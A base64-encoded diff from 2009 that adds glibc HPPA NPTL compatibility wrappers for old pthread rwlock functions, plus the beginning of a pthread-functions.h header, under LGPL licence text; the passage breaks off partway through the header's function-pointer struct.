PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogc3lzZGVwcy91bml4L3N5
c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfcndsb2NrX3Rp
bWVkd3Jsb2NrLmMKZGlmZiAtTiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9o
cHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9yd2xvY2tfdGltZWR3cmxvY2su
YwotLS0gL2Rldi9udWxsCTEgSmFuIDE5NzAgMDA6MDA6MDAgLTAwMDAKKysr
IHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9vbGRfaHBwYV9w
dGhyZWFkX3J3bG9ja190aW1lZHdybG9jay5jCTIgQXByIDIwMDkgMDI6MzQ6
MDMgLTAwMDAKQEAgLTAsMCArMSw0MCBAQAorLyogQ29weXJpZ2h0IChDKSAy
MDA5IEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLgorICAgVGhpcyBm
aWxlIGlzIHBhcnQgb2YgdGhlIEdOVSBDIExpYnJhcnkuCisgICBDb250cmli
dXRlZCBieSBDYXJsb3MgTydEb25lbGwgPGNhcmxvc0Bjb2Rlc291cmNlcnku
Y29tPiwgMjAwOS4KKworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZnJlZSBz
b2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yCisgICBt
b2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgTGVzc2VyIEdl
bmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieSB0aGUg
RnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIKKyAgIHZlcnNpb24g
Mi4xIG9mIHRoZSBMaWNlbnNlLCBvciAoYXQgeW91ciBvcHRpb24pIGFueSBs
YXRlciB2ZXJzaW9uLgorCisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBkaXN0
cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAor
ICAgYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhl
IGltcGxpZWQgd2FycmFudHkgb2YKKyAgIE1FUkNIQU5UQUJJTElUWSBvciBG
SVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUgR05V
CisgICBMZXNzZXIgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBk
ZXRhaWxzLgorCisgICBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5
IG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNl
IGFsb25nIHdpdGggdGhlIEdOVSBDIExpYnJhcnk7IGlmIG5vdCwgd3JpdGUg
dG8gdGhlIEZyZWUKKyAgIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4sIDU5
IFRlbXBsZSBQbGFjZSwgU3VpdGUgMzMwLCBCb3N0b24sIE1BCisgICAwMjEx
MS0xMzA3IFVTQS4gICovCisKKyNpbmNsdWRlIDxlcnJuby5oPgorI2luY2x1
ZGUgPHRpbWUuaD4KKyNpbmNsdWRlICJwdGhyZWFkUC5oIgorCisjaW5jbHVk
ZSA8c2hsaWItY29tcGF0Lmg+CisKKyNpZiBTSExJQl9DT01QQVQobGlicHRo
cmVhZCwgR0xJQkNfMl8wLCBHTElCQ18yXzkpCitpbnQKK19fcHRocmVhZF9y
d2xvY2tfdGltZWR3cmxvY2tfaHBwYV8yXzAgKHB0aHJlYWRfcndsb2NrX2hw
cGFfMl8wX3QgKnZhciwKKwkJCQkgICAgICAgY29uc3Qgc3RydWN0IHRpbWVz
cGVjICphYnNfdGltZW91dCkKK3sKKyAgY29tcGF0X2xvY2sgKHZhcik7Cisg
IGNvbXBhdF9tYWxsb2MgKHZhcik7CisgIGNvbXBhdF9yd2xvY2tfY29weSAo
dmFyKTsKKyAgY29tcGF0X3VubG9jayAodmFyKTsKKyAgcmV0dXJuIF9fcHRo
cmVhZF9yd2xvY2tfdGltZWR3cmxvY2sgKHZhci0+Y29tcGF0LCBhYnNfdGlt
ZW91dCk7Cit9Citjb21wYXRfc3ltYm9sIChsaWJwdGhyZWFkLCBfX3B0aHJl
YWRfcndsb2NrX3RpbWVkd3Jsb2NrX2hwcGFfMl8wLCBwdGhyZWFkX3J3bG9j
a190aW1lZHdybG9jaywKKwkgICAgICAgR0xJQkNfMl8wKTsKKyNlbmRpZgor
CkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvb2xk
X2hwcGFfcHRocmVhZF9yd2xvY2tfdHJ5cmRsb2NrLmMKPT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PQpSQ1MgZmlsZTogc3lzZGVwcy91bml4L3N5c3YvbGludXgv
aHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfcndsb2NrX3RyeXJkbG9jay5j
CmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL29s
ZF9ocHBhX3B0aHJlYWRfcndsb2NrX3RyeXJkbG9jay5jCi0tLSAvZGV2L251
bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysgc3lzZGVwcy91bml4
L3N5c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfcndsb2Nr
X3RyeXJkbG9jay5jCTIgQXByIDIwMDkgMDI6MzQ6MDMgLTAwMDAKQEAgLTAs
MCArMSwzNyBAQAorLyogQ29weXJpZ2h0IChDKSAyMDA5IEZyZWUgU29mdHdh
cmUgRm91bmRhdGlvbiwgSW5jLgorICAgVGhpcyBmaWxlIGlzIHBhcnQgb2Yg
dGhlIEdOVSBDIExpYnJhcnkuCisgICBDb250cmlidXRlZCBieSBDYXJsb3Mg
TydEb25lbGwgPGNhcmxvc0Bjb2Rlc291cmNlcnkuY29tPiwgMjAwOS4KKwor
ICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNh
biByZWRpc3RyaWJ1dGUgaXQgYW5kL29yCisgICBtb2RpZnkgaXQgdW5kZXIg
dGhlIHRlcm1zIG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisg
ICBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0d2FyZSBG
b3VuZGF0aW9uOyBlaXRoZXIKKyAgIHZlcnNpb24gMi4xIG9mIHRoZSBMaWNl
bnNlLCBvciAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgor
CisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBkaXN0cmlidXRlZCBpbiB0aGUg
aG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0IFdJVEhPVVQg
QU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFu
dHkgb2YKKyAgIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBB
UlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUgR05VCisgICBMZXNzZXIgR2Vu
ZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgorCisgICBZ
b3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgTGVz
c2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFsb25nIHdpdGggdGhl
IEdOVSBDIExpYnJhcnk7IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUKKyAg
IFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4sIDU5IFRlbXBsZSBQbGFjZSwg
U3VpdGUgMzMwLCBCb3N0b24sIE1BCisgICAwMjExMS0xMzA3IFVTQS4gICov
CisKKyNpbmNsdWRlIDxlcnJuby5oPgorI2luY2x1ZGUgInB0aHJlYWRQLmgi
CisjaW5jbHVkZSA8c2hsaWItY29tcGF0Lmg+CisKKyNpZiBTSExJQl9DT01Q
QVQobGlicHRocmVhZCwgR0xJQkNfMl8wLCBHTElCQ18yXzkpCitpbnQKK19f
cHRocmVhZF9yd2xvY2tfdHJ5cmRsb2NrX2hwcGFfMl8wIChwdGhyZWFkX3J3
bG9ja19ocHBhXzJfMF90ICp2YXIpCit7CisgIGNvbXBhdF9sb2NrICh2YXIp
OworICBjb21wYXRfbWFsbG9jICh2YXIpOworICBjb21wYXRfcndsb2NrX2Nv
cHkgKHZhcik7CisgIGNvbXBhdF91bmxvY2sgKHZhcik7CisgIHJldHVybiBf
X3B0aHJlYWRfcndsb2NrX3RyeXJkbG9jayAodmFyLT5jb21wYXQpOworfQor
Y29tcGF0X3N5bWJvbCAobGlicHRocmVhZCwgX19wdGhyZWFkX3J3bG9ja190
cnlyZGxvY2tfaHBwYV8yXzAsIHB0aHJlYWRfcndsb2NrX3RyeXJkbG9jaywK
KwkgICAgICAgR0xJQkNfMl8wKTsKKyNlbmRpZgorCkluZGV4OiBzeXNkZXBz
L3VuaXgvc3lzdi9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9y
d2xvY2tfdHJ5d3Jsb2NrLmMKPT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpSQ1Mg
ZmlsZTogc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL29sZF9o
cHBhX3B0aHJlYWRfcndsb2NrX3RyeXdybG9jay5jCmRpZmYgLU4gc3lzZGVw
cy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRf
cndsb2NrX3RyeXdybG9jay5jCi0tLSAvZGV2L251bGwJMSBKYW4gMTk3MCAw
MDowMDowMCAtMDAwMAorKysgc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBw
YS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfcndsb2NrX3RyeXdybG9jay5jCTIg
QXByIDIwMDkgMDI6MzQ6MDMgLTAwMDAKQEAgLTAsMCArMSwzNyBAQAorLyog
Q29weXJpZ2h0IChDKSAyMDA5IEZyZWUgU29mdHdhcmUgRm91bmRhdGlvbiwg
SW5jLgorICAgVGhpcyBmaWxlIGlzIHBhcnQgb2YgdGhlIEdOVSBDIExpYnJh
cnkuCisgICBDb250cmlidXRlZCBieSBDYXJsb3MgTydEb25lbGwgPGNhcmxv
c0Bjb2Rlc291cmNlcnkuY29tPiwgMjAwOS4KKworICAgVGhlIEdOVSBDIExp
YnJhcnkgaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUg
aXQgYW5kL29yCisgICBtb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRo
ZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFzIHB1
Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRo
ZXIKKyAgIHZlcnNpb24gMi4xIG9mIHRoZSBMaWNlbnNlLCBvciAoYXQgeW91
ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgorCisgICBUaGUgR05VIEMg
TGlicmFyeSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdp
bGwgYmUgdXNlZnVsLAorICAgYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3
aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKKyAgIE1FUkNI
QU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9T
RS4gIFNlZSB0aGUgR05VCisgICBMZXNzZXIgR2VuZXJhbCBQdWJsaWMgTGlj
ZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgorCisgICBZb3Ugc2hvdWxkIGhhdmUg
cmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVi
bGljCisgICBMaWNlbnNlIGFsb25nIHdpdGggdGhlIEdOVSBDIExpYnJhcnk7
IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUKKyAgIFNvZnR3YXJlIEZvdW5k
YXRpb24sIEluYy4sIDU5IFRlbXBsZSBQbGFjZSwgU3VpdGUgMzMwLCBCb3N0
b24sIE1BCisgICAwMjExMS0xMzA3IFVTQS4gICovCisKKyNpbmNsdWRlIDxl
cnJuby5oPgorI2luY2x1ZGUgInB0aHJlYWRQLmgiCisjaW5jbHVkZSA8c2hs
aWItY29tcGF0Lmg+CisKKyNpZiBTSExJQl9DT01QQVQobGlicHRocmVhZCwg
R0xJQkNfMl8wLCBHTElCQ18yXzkpCitpbnQKK19fcHRocmVhZF9yd2xvY2tf
dHJ5d3Jsb2NrX2hwcGFfMl8wIChwdGhyZWFkX3J3bG9ja19ocHBhXzJfMF90
ICp2YXIpCit7CisgIGNvbXBhdF9sb2NrICh2YXIpOworICBjb21wYXRfbWFs
bG9jICh2YXIpOworICBjb21wYXRfcndsb2NrX2NvcHkgKHZhcik7CisgIGNv
bXBhdF91bmxvY2sgKHZhcik7CisgIHJldHVybiBfX3B0aHJlYWRfcndsb2Nr
X3RyeXdybG9jayAodmFyLT5jb21wYXQpOworfQorY29tcGF0X3N5bWJvbCAo
bGlicHRocmVhZCwgX19wdGhyZWFkX3J3bG9ja190cnl3cmxvY2tfaHBwYV8y
XzAsIHB0aHJlYWRfcndsb2NrX3RyeXdybG9jaywKKwkgICAgICAgR0xJQkNf
Ml8wKTsKKyNlbmRpZgorCkluZGV4OiBzeXNkZXBzL3VuaXgvc3lzdi9saW51
eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9yd2xvY2tfdW5sb2NrLmMK
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogc3lzZGVwcy91bml4
L3N5c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfcndsb2Nr
X3VubG9jay5jCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBw
YS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfcndsb2NrX3VubG9jay5jCi0tLSAv
ZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysgc3lzZGVw
cy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRf
cndsb2NrX3VubG9jay5jCTIgQXByIDIwMDkgMDI6MzQ6MDMgLTAwMDAKQEAg
LTAsMCArMSwzNyBAQAorLyogQ29weXJpZ2h0IChDKSAyMDA5IEZyZWUgU29m
dHdhcmUgRm91bmRhdGlvbiwgSW5jLgorICAgVGhpcyBmaWxlIGlzIHBhcnQg
b2YgdGhlIEdOVSBDIExpYnJhcnkuCisgICBDb250cmlidXRlZCBieSBDYXJs
b3MgTydEb25lbGwgPGNhcmxvc0Bjb2Rlc291cmNlcnkuY29tPiwgMjAwOS4K
KworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZnJlZSBzb2Z0d2FyZTsgeW91
IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yCisgICBtb2RpZnkgaXQgdW5k
ZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGlj
CisgICBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0d2Fy
ZSBGb3VuZGF0aW9uOyBlaXRoZXIKKyAgIHZlcnNpb24gMi4xIG9mIHRoZSBM
aWNlbnNlLCBvciAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9u
LgorCisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBkaXN0cmlidXRlZCBpbiB0
aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0IFdJVEhP
VVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2Fy
cmFudHkgb2YKKyAgIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBB
IFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUgR05VCisgICBMZXNzZXIg
R2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgorCisg
ICBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUg
TGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFsb25nIHdpdGgg
dGhlIEdOVSBDIExpYnJhcnk7IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUK
KyAgIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4sIDU5IFRlbXBsZSBQbGFj
ZSwgU3VpdGUgMzMwLCBCb3N0b24sIE1BCisgICAwMjExMS0xMzA3IFVTQS4g
ICovCisKKyNpbmNsdWRlIDxlcnJuby5oPgorI2luY2x1ZGUgInB0aHJlYWRQ
LmgiCisjaW5jbHVkZSA8c2hsaWItY29tcGF0Lmg+CisKKyNpZiBTSExJQl9D
T01QQVQobGlicHRocmVhZCwgR0xJQkNfMl8wLCBHTElCQ18yXzkpCitpbnQK
K19fcHRocmVhZF9yd2xvY2tfdW5sb2NrX2hwcGFfMl8wIChwdGhyZWFkX3J3
bG9ja19ocHBhXzJfMF90ICp2YXIpCit7CisgIGNvbXBhdF9sb2NrICh2YXIp
OworICBjb21wYXRfbWFsbG9jICh2YXIpOworICBjb21wYXRfcndsb2NrX2Nv
cHkgKHZhcik7CisgIGNvbXBhdF91bmxvY2sgKHZhcik7CisgIHJldHVybiBf
X3B0aHJlYWRfcndsb2NrX3VubG9jayAodmFyLT5jb21wYXQpOworfQorY29t
cGF0X3N5bWJvbCAobGlicHRocmVhZCwgX19wdGhyZWFkX3J3bG9ja191bmxv
Y2tfaHBwYV8yXzAsIHB0aHJlYWRfcndsb2NrX3VubG9jaywKKwkgICAgICAg
R0xJQkNfMl8wKTsKKyNlbmRpZgorCkluZGV4OiBzeXNkZXBzL3VuaXgvc3lz
di9saW51eC9ocHBhL25wdGwvb2xkX2hwcGFfcHRocmVhZF9yd2xvY2tfd3Js
b2NrLmMKPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpSQ1MgZmlsZTogc3lzZGVw
cy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRf
cndsb2NrX3dybG9jay5jCmRpZmYgLU4gc3lzZGVwcy91bml4L3N5c3YvbGlu
dXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0aHJlYWRfcndsb2NrX3dybG9jay5j
Ci0tLSAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDowMCAtMDAwMAorKysg
c3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRsL29sZF9ocHBhX3B0
aHJlYWRfcndsb2NrX3dybG9jay5jCTIgQXByIDIwMDkgMDI6MzQ6MDMgLTAw
MDAKQEAgLTAsMCArMSwzNyBAQAorLyogQ29weXJpZ2h0IChDKSAyMDA5IEZy
ZWUgU29mdHdhcmUgRm91bmRhdGlvbiwgSW5jLgorICAgVGhpcyBmaWxlIGlz
IHBhcnQgb2YgdGhlIEdOVSBDIExpYnJhcnkuCisgICBDb250cmlidXRlZCBi
eSBDYXJsb3MgTydEb25lbGwgPGNhcmxvc0Bjb2Rlc291cmNlcnkuY29tPiwg
MjAwOS4KKworICAgVGhlIEdOVSBDIExpYnJhcnkgaXMgZnJlZSBzb2Z0d2Fy
ZTsgeW91IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yCisgICBtb2RpZnkg
aXQgdW5kZXIgdGhlIHRlcm1zIG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwg
UHVibGljCisgICBMaWNlbnNlIGFzIHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBT
b2Z0d2FyZSBGb3VuZGF0aW9uOyBlaXRoZXIKKyAgIHZlcnNpb24gMi4xIG9m
IHRoZSBMaWNlbnNlLCBvciAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2
ZXJzaW9uLgorCisgICBUaGUgR05VIEMgTGlicmFyeSBpcyBkaXN0cmlidXRl
ZCBpbiB0aGUgaG9wZSB0aGF0IGl0IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0
IFdJVEhPVVQgQU5ZIFdBUlJBTlRZOyB3aXRob3V0IGV2ZW4gdGhlIGltcGxp
ZWQgd2FycmFudHkgb2YKKyAgIE1FUkNIQU5UQUJJTElUWSBvciBGSVRORVNT
IEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRS4gIFNlZSB0aGUgR05VCisgICBM
ZXNzZXIgR2VuZXJhbCBQdWJsaWMgTGljZW5zZSBmb3IgbW9yZSBkZXRhaWxz
LgorCisgICBZb3Ugc2hvdWxkIGhhdmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRo
ZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFsb25n
IHdpdGggdGhlIEdOVSBDIExpYnJhcnk7IGlmIG5vdCwgd3JpdGUgdG8gdGhl
IEZyZWUKKyAgIFNvZnR3YXJlIEZvdW5kYXRpb24sIEluYy4sIDU5IFRlbXBs
ZSBQbGFjZSwgU3VpdGUgMzMwLCBCb3N0b24sIE1BCisgICAwMjExMS0xMzA3
IFVTQS4gICovCisKKyNpbmNsdWRlIDxlcnJuby5oPgorI2luY2x1ZGUgInB0
aHJlYWRQLmgiCisjaW5jbHVkZSA8c2hsaWItY29tcGF0Lmg+CisKKyNpZiBT
SExJQl9DT01QQVQobGlicHRocmVhZCwgR0xJQkNfMl8wLCBHTElCQ18yXzkp
CitpbnQKK19fcHRocmVhZF9yd2xvY2tfd3Jsb2NrX2hwcGFfMl8wIChwdGhy
ZWFkX3J3bG9ja19ocHBhXzJfMF90ICp2YXIpCit7CisgIGNvbXBhdF9sb2Nr
ICh2YXIpOworICBjb21wYXRfbWFsbG9jICh2YXIpOworICBjb21wYXRfcnds
b2NrX2NvcHkgKHZhcik7CisgIGNvbXBhdF91bmxvY2sgKHZhcik7CisgIHJl
dHVybiBfX3B0aHJlYWRfcndsb2NrX3dybG9jayAodmFyLT5jb21wYXQpOwor
fQorY29tcGF0X3N5bWJvbCAobGlicHRocmVhZCwgX19wdGhyZWFkX3J3bG9j
a193cmxvY2tfaHBwYV8yXzAsIHB0aHJlYWRfcndsb2NrX3dybG9jaywKKwkg
ICAgICAgR0xJQkNfMl8wKTsKKyNlbmRpZgorCkluZGV4OiBzeXNkZXBzL3Vu
aXgvc3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZC1mdW5jdGlvbnMuaAo9
PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09
PT09PT09PT09PT09PT09PT09PT09ClJDUyBmaWxlOiBzeXNkZXBzL3VuaXgv
c3lzdi9saW51eC9ocHBhL25wdGwvcHRocmVhZC1mdW5jdGlvbnMuaApkaWZm
IC1OIHN5c2RlcHMvdW5peC9zeXN2L2xpbnV4L2hwcGEvbnB0bC9wdGhyZWFk
LWZ1bmN0aW9ucy5oCi0tLSAvZGV2L251bGwJMSBKYW4gMTk3MCAwMDowMDow
MCAtMDAwMAorKysgc3lzZGVwcy91bml4L3N5c3YvbGludXgvaHBwYS9ucHRs
L3B0aHJlYWQtZnVuY3Rpb25zLmgJMiBBcHIgMjAwOSAwMjozNDowMyAtMDAw
MApAQCAtMCwwICsxLDEzMyBAQAorLyogQ29weXJpZ2h0IChDKSAyMDAzLCAy
MDA0LCAyMDA1LCAyMDA2LCAyMDA3LCAyMDA5IEZyZWUgU29mdHdhcmUgRm91
bmRhdGlvbiwgSW5jLgorICAgVGhpcyBmaWxlIGlzIHBhcnQgb2YgdGhlIEdO
VSBDIExpYnJhcnkuCisgICBDb250cmlidXRlZCBieSBVbHJpY2ggRHJlcHBl
ciA8ZHJlcHBlckByZWRoYXQuY29tPiwgMjAwMy4KKworICAgVGhlIEdOVSBD
IExpYnJhcnkgaXMgZnJlZSBzb2Z0d2FyZTsgeW91IGNhbiByZWRpc3RyaWJ1
dGUgaXQgYW5kL29yCisgICBtb2RpZnkgaXQgdW5kZXIgdGhlIHRlcm1zIG9m
IHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwgUHVibGljCisgICBMaWNlbnNlIGFz
IHB1Ymxpc2hlZCBieSB0aGUgRnJlZSBTb2Z0d2FyZSBGb3VuZGF0aW9uOyBl
aXRoZXIKKyAgIHZlcnNpb24gMi4xIG9mIHRoZSBMaWNlbnNlLCBvciAoYXQg
eW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLgorCisgICBUaGUgR05V
IEMgTGlicmFyeSBpcyBkaXN0cmlidXRlZCBpbiB0aGUgaG9wZSB0aGF0IGl0
IHdpbGwgYmUgdXNlZnVsLAorICAgYnV0IFdJVEhPVVQgQU5ZIFdBUlJBTlRZ
OyB3aXRob3V0IGV2ZW4gdGhlIGltcGxpZWQgd2FycmFudHkgb2YKKyAgIE1F
UkNIQU5UQUJJTElUWSBvciBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVS
UE9TRS4gIFNlZSB0aGUgR05VCisgICBMZXNzZXIgR2VuZXJhbCBQdWJsaWMg
TGljZW5zZSBmb3IgbW9yZSBkZXRhaWxzLgorCisgICBZb3Ugc2hvdWxkIGhh
dmUgcmVjZWl2ZWQgYSBjb3B5IG9mIHRoZSBHTlUgTGVzc2VyIEdlbmVyYWwg
UHVibGljCisgICBMaWNlbnNlIGFsb25nIHdpdGggdGhlIEdOVSBDIExpYnJh
cnk7IGlmIG5vdCwgd3JpdGUgdG8gdGhlIEZyZWUKKyAgIFNvZnR3YXJlIEZv
dW5kYXRpb24sIEluYy4sIDU5IFRlbXBsZSBQbGFjZSwgU3VpdGUgMzMwLCBC
b3N0b24sIE1BCisgICAwMjExMS0xMzA3IFVTQS4gICovCisKKyNpZm5kZWYg
X1BUSFJFQURfRlVOQ1RJT05TX0gKKyNkZWZpbmUgX1BUSFJFQURfRlVOQ1RJ
T05TX0gJMQorCisjaW5jbHVkZSA8cHRocmVhZC5oPgorI2luY2x1ZGUgPHNl
dGptcC5oPgorI2luY2x1ZGUgPGludGVybmFsdHlwZXMuaD4KKyNpbmNsdWRl
IDxzeXNkZXAuaD4KKworc3RydWN0IHhpZF9jb21tYW5kOworCisvKiBEYXRh
IHR5cGUgc2hhcmVkIHdpdGggbGliYy4gIFRoZSBsaWJjIHVzZXMgaXQgdG8g
cGFzcyBvbiBjYWxscyB0bworICAgdGhlIHRocmVhZCBmdW5jdGlvbnMuICAq
Lworc3RydWN0IHB0aHJlYWRfZnVuY3Rpb25zCit7CisgIGludCAoKnB0cl9w
dGhyZWFkX2F0dHJfZGVzdHJveSkgKHB0aHJlYWRfYXR0cl90ICopOworICBp
bnQgKCpwdHJfX19wdGhyZWFkX2F0dHJfaW5pdF8yXzApIChwdGhyZWFkX2F0
dHJfdCAqKTsKKyAgaW50ICgqcHRyX19fcHRocmVhZF9hdHRyX2luaXRfMl8x
KSAocHRocmVhZF9hdHRyX3QgKik7CisgIGludCAoKnB0cl9wdGhyZWFkX2F0
dHJfZ2V0ZGV0YWNoc3RhdGUpIChjb25zdCBwdGhyZWFkX2F0dHJfdCAqLCBp
bnQgKik7CisgIGludCAoKnB0cl9wdGhyZWFkX2F0dHJfc2V0ZGV0YWNoc3Rh
dGUpIChwdGhyZWFkX2F0dHJfdCAqLCBpbnQpOworICBpbnQgKCpwdHJfcHRo
cmVhZF9hdHRyX2dldGluaGVyaXRzY2hlZCkgKGNvbnN0IHB0aHJlYWRfYXR0
cl90ICosIGludCAqKTsKKyAgaW50ICgqcHRyX3B0aHJlYWRfYXR0cl9zZXRp
bmhlcml0c2NoZWQpIChwdGhyZWFkX2F0dHJfdCAqLCBpbnQpOworICBpbnQg
KCpwdHJfcHRocmVhZF9hdHRyX2dldHNjaGVkcGFyYW0pIChjb25zdCBwdGhy
ZWFkX2F0dHJfdCAqLAorCQkJCQkgc3RydWN0IHNjaGVkX3BhcmFtICopOwor
ICBpbnQgKCpwdHJfcHRocmVhZF9hdHRyX3NldHNjaGVkcGFyYW0pIChwdGhy
ZWFkX2F0dHJfdCAqLAorCQkJCQkgY29uc3Qgc3RydWN0IHNjaGVkX3BhcmFt
ICopOworICBpbnQgKCpwdHJfcHRocmVhZF9hdHRyX2dldHNjaGVkcG9saWN5
KSAoY29uc3QgcHRocmVhZF9hdHRyX3QgKiwgaW50ICopOworICBpbnQgKCpw
dHJfcHRocmVhZF9hdHRyX3NldHNjaGVkcG9saWN5KSAocHRocmVhZF9hdHRy
X3QgKiwgaW50KTsKKyAgaW50ICgqcHRyX3B0aHJlYWRfYXR0cl9nZXRzY29w
